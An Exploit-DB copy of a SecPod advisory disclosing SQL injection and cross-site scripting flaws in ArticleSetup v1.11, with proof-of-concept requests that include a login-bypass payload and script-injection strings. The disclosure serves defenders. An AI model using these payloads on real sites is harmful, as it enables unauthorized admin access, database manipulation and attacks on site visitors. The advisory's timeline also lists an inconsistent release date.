ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection Vulnerabilities



EDB-ID: 18682 CVE: N/A OSVDB-ID: 80779
Author: SecPod Research Published: 2012-03-30 Verified: Verified
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# Title    : ArticleSetup Multiple Persistence Cross-Site Scripting and SQL
             Injection Vulnerabilities
# Author   : Antu Sanadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.articlesetup.com/
# Advisory : http://secpod.org/blog/?p=497
#            http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt
# Software : ArticleSetup v1.11 and prior.
# Date     : 30/03/2012
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SecPod ID: 1037                                 23/08/2011 Issue Discovered
                                                21/02/2012 Vendor Notified
                                                No Response from vendor
                                                30/03/2011 Advisory Released

Class: XSS/SQL Injection                        Severity: High


Overview:
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ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection
Vulnerabilities.


Technical Description:
----------------------
ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection
Vulnerabilities.

  i) Input passed via the 'userid' and 'password' parameter in
     '/upload/login.php' page is not properly verified before being used in
     an SQL query. This can be exploited to manipulate SQL queries by injecting
     arbitrary SQL queries.

 ii) Input passed via the 'userid' and 'password' parameter in
     '/upload/admin/login.php' page is not properly verified before being
     used in an SQL query. This can be exploited to manipulate SQL queries
     by injecting arbitrary SQL queries.

iii) Input passed via the 'cat' parameter in 'upload/feed.php' page is not
     properly verified before being used in an SQL query. This can be
     exploited to manipulate SQL queries by injecting arbitrary SQL queries.

 iV) Input passed via the 's' parameter in 'upload/search.php' page is not
     properly verified before being used in an SQL query. This can be
     exploited to manipulate SQL queries by injecting arbitrary SQL queries.

 V)  Input passed via the 'id' parameter in '/upload/admin/pageedit.php',
     'upload/admin/authoredit.php' and '/admin/categoryedit.php?id' pages are
     not properly verified before being used in an SQL query. This can be
     exploited to manipulate SQL queries by injecting arbitrary SQL queries.

Vi)  Input passed via the 's' and parameter in '/upload/search.php' page is not
     properly verified before it is returned to the user. This can be exploited
     to execute arbitrary HTML and script code in a user's browser session in
     the context of a vulnerable site.

Vii) Input passed via the 'title' and parameter in 'upload//author/submit.php'
     page is not properly verified before it is returned to the user. This can
     be exploited to execute arbitrary HTML and script code in a user's browser
     session in the context of a vulnerable site.

Viii)Input passed via the 'title' and parameter in '/upload/admin/articlenew.php',
     '/upload/admin/categories.php' and '/upload/admin/pages.php' pages are not
     properly verified before it is returned to the user. This can be exploited
     to execute arbitrary HTML and script code in a user's browser session in
     the context of a vulnerable site.

  The vulnerabilities are tested in ArticleSetup v1.10 Other versions  may also
  be affected.


Impact:
--------
Successful exploitation could allow an attacker to execute arbitrary HTML
code in a user's browser session in the context of a vulnerable application
or to manipulate SQL queries by injecting arbitrary SQL code.


Affected Software:
------------------
ArticleSetup v1.11 and prior.

Tested on,
ArticleSetup v1.10, v1.11


References:
-----------
http://www.articlesetup.com/
http://secpod.org/blog/?p=497
http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt


Proof of Concept:
-----------------

POC 1:
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SQL Injection Vulnerabilities.

http://IP_ADDR/ArticleSetup/upload//feed.php?cat='
http://IP_ADDR/ArticleSetup/upload/search.php?s=%27
http://IP_ADDR/ArticleSetup/upload/admin/pageedit.php?id=%27
http://IP_ADDR/ArticleSetup/upload/admin/authoredit.php?id=%27
http://IP_ADDR/ArticleSetup/upload//admin/categoryedit.php?id=%27

POST /ArticleSetup/upload/login.php
Host: IP_ADDR
User-Agent:  SQL INJECTION TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

Post Data:
==========
userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23

POST /ArticleSetup//upload/login.php
Host: IP_ADDR
User-Agent:  SQL INJECTION TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

Post Data:
==========
userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23

POC 2:
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Cross Site Scripting Vulnerabilities.

http://IP_ADDR/ArticleSetup/upload//search.php?s=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E

POST /ArticleSetup//upload/author/submit.php HTTP/1.1
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 202

Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=1&body=%3Cp%3Eantu+sanadi+barn+in+india%3C%2Fp%3E&resource=%3Cp%3Eindia+is+gereat%3C%2Fp%3E&save=Submit+Article+%C2%BB&update=

POST /ArticleSetup//upload/admin/articlenew.php
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=38&body=%3Cp%3Ei+am+here%3C%2Fp%3E&resource=%3Cp%3Ewhere+are+you%3C%2Fp%3E&save=&submit=

POST /ArticleSetup//upload/admin/categories.php
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&parentid=NULL&add=&save=


POST /ArticleSetup/upload/admin/pages.php
Host: IP_ADDR
User-Agent:  STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&body=%3Cp%3Edsfds%3C%2Fp%3E&onmenu=on&add=&save=


Solution:
----------
Fix not available


Risk Factor:
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     CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NONE
        CONFIDENTIALITY_IMPACT = PARTIAL
        INTEGRITY_IMPACT       = PARTIAL
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)
        Risk factor            = High 


Credits:
--------
Antu Sanadi of SecPod Technologies has been credited with the discovery of this
vulnerability.